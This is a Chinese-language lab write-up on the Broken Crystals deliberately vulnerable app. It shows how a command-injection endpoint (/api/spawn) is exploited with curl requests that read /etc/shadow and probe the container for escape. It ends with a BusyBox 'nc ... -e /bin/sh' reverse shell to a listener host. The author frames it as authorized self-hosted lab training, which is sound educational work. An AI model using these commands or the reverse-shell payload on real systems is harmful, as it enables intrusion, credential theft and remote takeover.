Broken Crystals 實戰筆記 2:從一個 query 參數打到 root reverse shell
接續上一篇,我已經用/api/file的任意檔案讀取(LFI)把 Broken Crystals 從黑箱變成白箱——後端 NestJS 的編譯後源碼可以隨意讀,這一篇把源碼審計發現的/api/spawnOS 命令注入,一路打到容器內 root 的互動式 reverse shell,並記錄過程中關於「無 shell 命令注入」與「WSL2 反彈 shell」的兩個實用細節。
一、白箱定位:源碼一眼看穿命令注入
有了 LFI,讀後端源碼就是抄捷徑,讀 dist/app.controller.js,/api/spawn 的實作幾乎是明示的:
async getCommandResult(command) {
return await this.appService.launchCommand(command); // command 直接進 launchCommand
}
搭配 @Get('spawn') 與 @Query('command'),Swagger 範例還大方寫著 example: 'ls -la',使用者全控的 command 直接餵進 launchCommand——這根本是設計來被打 RCE 的端點,同一份 controller 其實還躺著 /api/process_numbers 的 eval() SSJI 與 /api/metadata 的 XXE,都是 RCE 等級,這篇先聚焦 spawn 這條,其餘之後處理。
二、確認命令注入:一發就是 root
先做無害驗證,確認它真的執行系統命令:
curl -s "http://localhost:3000/api/spawn?command=id"
# uid=0(root) gid=0(root) groups=0(root),...
uid=0(root)——不只 RCE,還直接是 root。
這裡有個值得停下來的對照:先前讀 /etc/passwd 時,app 對外顯示是由 node(uid 1000)使用者跑的,但 spawn 執行 id 卻回 root,這代表這個 nodejs 容器本身是以 root 執行,是命令注入 + 容器內 root 的雙重問題。
三、關鍵特性:spawn 不經 shell
拿到 RCE 後的直覺是串接命令,但這裡踩到一個很有代表性的坑:
curl -s "http://localhost:3000/api/spawn?command=id;whoami;hostname"
# {"error":"spawn id;whoami;hostname ENOENT",...}
ENOENT(Error NO ENTry)代表找不到該執行檔——注意它把整串 id;whoami;hostname 當成一個命令名去找,這揭曉了底層實作:它是 Node 的 spawn(command),沒有經過 shell。
由此可以判斷命令注入的類型,這在真實滲透很關鍵:
- 有 shell(
exec("...")或sh -c)→;、&&、|、$()等 shell 元字元有效,可自由串接。 - 無 shell(
spawn(cmd, args)不帶{shell:true})→ 整串被當成單一執行檔名,元字元沒有意義。
但它並非完全不能帶參數,實測它會用空格拆分,第一個當執行檔、其餘當參數:
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /etc/shadow"
# root:*::0::::: ... (成功讀到只有 root 能讀的 shadow)
所以能力邊界很清楚:可執行任意「帶空格參數的單一命令」,但不能用元字元串接多命令。
小技巧:命令含空格、特殊字元時,用curl -G ... --data-urlencode "command=..."讓 curl 自動處理 URL 編碼,不必手動算%20,這在真實 bug bounty 送 payload 時同樣好用。
四、容器逃逸偵查:確認天花板
拿到容器內 root,第一個該問的是「能不能逃到宿主機」,逐項偵查:
# docker.sock 是否被掛入
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ls -la /var/run/docker.sock"
# ls: /var/run/docker.sock: No such file or directory
# capabilities
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /proc/self/status" | grep -i cap
# CapEff: 00000000a80425fb
判讀:
- 沒有 docker.sock → 最直接的「透過 socket 控制宿主 daemon」逃逸路斷了。
CapEff: a80425fb→ 這是 Docker 的預設 capability 集,不含cap_sys_admin(特權逃逸最愛的那個),代表這是標準的非特權容器。
結論:容器內雖是 root,但屬標準隔離的非特權容器,逃不到宿主,到容器內 root 就是這條線的天花板——這也是靶場負責任的設計,讓你玩到 root RCE,但不會不小心搞爛宿主機。
五、升級 reverse shell
一發一發 curl 很累,且無法串接,升級成互動式 reverse shell 是 RCE 後的標準動作。
環境偵查
先看容器有哪些反彈工具(Alpine 極精簡):
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=which nc bash sh python3 perl busybox"
# /usr/bin/nc (只有 nc,其餘皆無)
只有 nc。再確認它的類型與是否支援 -e:
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc --help"
# BusyBox v1.37.0 ... -e PROG Run PROG after connect (must be last)
是 BusyBox nc,而且有 -e(must be last,參數要放最尾),這省去了無 -e 時要搞 mkfifo 管道的麻煩。
網路偵查
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ip route"
# default via 172.22.0.1 dev eth0
172.22.0.1 是 Docker 網路閘道,也就是 WSL2 主機在容器眼中的位址——reverse shell 就連這個。
「無 shell」限制在這裡反而幫了忙
無 -e 的反彈 payload 需要 ;、|、>、2>&1 等元字元,在 spawn 下全部失效。但因為這顆 nc 有 -e,反彈本身就是一個純空格分隔的命令,不需要任何元字元:
nc 172.22.0.1 4444 -e /bin/sh
這正好是 spawn("nc", ["172.22.0.1","4444","-e","/bin/sh"]) 的天然形狀——spawn 的空格拆分反而幫我們把參數分好了。
Listener 開在 WSL
# 在 WSL Kali 新分頁
nc -lvnp 4444
送 payload:
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc 172.22.0.1 4444 -e /bin/sh"
結果:
connect to [172.22.0.1] from (UNKNOWN) [172.22.0.7] 35451
id
uid=0(root) gid=0(root) groups=0(root),...
容器內 root 互動式 shell 到手。
攻擊鏈總結
白箱源碼審計 (讀 dist/app.controller.js)
└─ 定位 /api/spawn 命令注入
├─ command=id → uid=0(root) (直接 root RCE)
├─ 判斷類型:spawn 無 shell (; 串接 ENOENT,但空格參數可用)
├─ 逃逸偵查:無 docker.sock、非特權容器 → 天花板在容器內
└─ BusyBox nc -e 反彈 → 容器內 root 互動式 shell
一個 ?command= query 參數,經過「確認 RCE → 判斷命令注入類型 → 容器逃逸偵查 → 升級 reverse shell」的完整流程,拿到容器完整控制權,重點不在漏洞本身多簡單,而在拿到 RCE 之後那套系統化的評估與擴大——判斷命令注入是否經 shell、容器能否逃逸、如何在受限環境下彈出互動 shell,這些才是可遷移到真實目標的手感。
本文為授權範圍內的本機自建靶場測試紀錄,所有內容僅供防禦研究與教育用途。請勿將任何技術用於未授權目標。
Member discussion